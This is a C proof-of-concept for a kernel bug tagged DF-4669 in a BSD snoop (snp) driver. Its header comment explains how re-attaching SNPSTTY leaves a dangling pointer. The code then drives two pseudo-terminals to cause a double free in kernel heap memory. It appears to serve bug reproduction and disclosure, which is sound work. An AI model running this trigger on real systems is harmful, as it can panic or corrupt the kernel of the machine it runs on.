DF-4669 / snp_reattach.c
/* * DF-4669: SNPSTTY re-attach poisons the old target tty; closing the * snp fd frees struct snoop while the old tty keeps t_sc pointing at * it; closing the old tty runs snplclose -> snp_down(freed) -> * double kfree / wild frees in the M_SNP heap. * * Root cause: sys/dev/misc/snp/snp.c:560-564 - the un-poison block in * SNPSTTY is guarded by `if (snp->snp_target == NULL)', but * snp_target/snp_tty are only ever set and cleared together (lines * 434-435 open, 473-474 detach, 570-571 attach). On re-attach the * target is != NULL, so the old tty's TS_SNOOP/t_sc/t_line are never * restored. snp_olddisc is simultaneously overwritten with the NEW * tty's discipline, so the old discipline is unrecoverable. * * Trigger requires /dev/snpN open privileges (root/wheel), but the * corruption is a double free of M_SNP heap chunks. */ #include <sys/ioctl.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <termios.h> #include <libutil.h> #include <sys/snoop.h> int main(void) { int mA, sA, mB, sB, snp; struct stat sb; dev_t d; if (openpty(&mA, &sA, NULL, NULL, NULL) || openpty(&mB, &sB, NULL, NULL, NULL)) { perror("openpty"); exit(1); } snp = open("/dev/snp0", O_RDWR); if (snp < 0) { perror("/dev/snp0"); exit(1); } fstat(sA, &sb); d = sb.st_rdev; if (ioctl(snp, SNPSTTY, &d) < 0) { perror("SNPSTTY A"); exit(1); } printf("[+] snp attached to tty A (st_rdev %#x)\n", d); fflush(stdout); fstat(sB, &sb); d = sb.st_rdev; if (ioctl(snp, SNPSTTY, &d) < 0) { perror("SNPSTTY B"); exit(1); } printf("[+] snp re-attached to tty B; tty A poisoned:" " t_sc=snp, TS_SNOOP, t_line=snooplinedisc\n"); fflush(stdout); close(snp); printf("[+] snp fd closed: struct snoop + snp_buf freed;" " tty A still holds dangling t_sc\n"); fflush(stdout); printf("[+] closing tty A -> snplclose -> snp_down(freed snp)" " -> kfree(snp_buf) double free ...\n"); fflush(stdout); close(sA); sleep(2); printf("[-] survived close(sA)?\n"); fflush(stdout); close(mA); close(sB); close(mB); printf("[-] no panic observed\n"); return 0; } |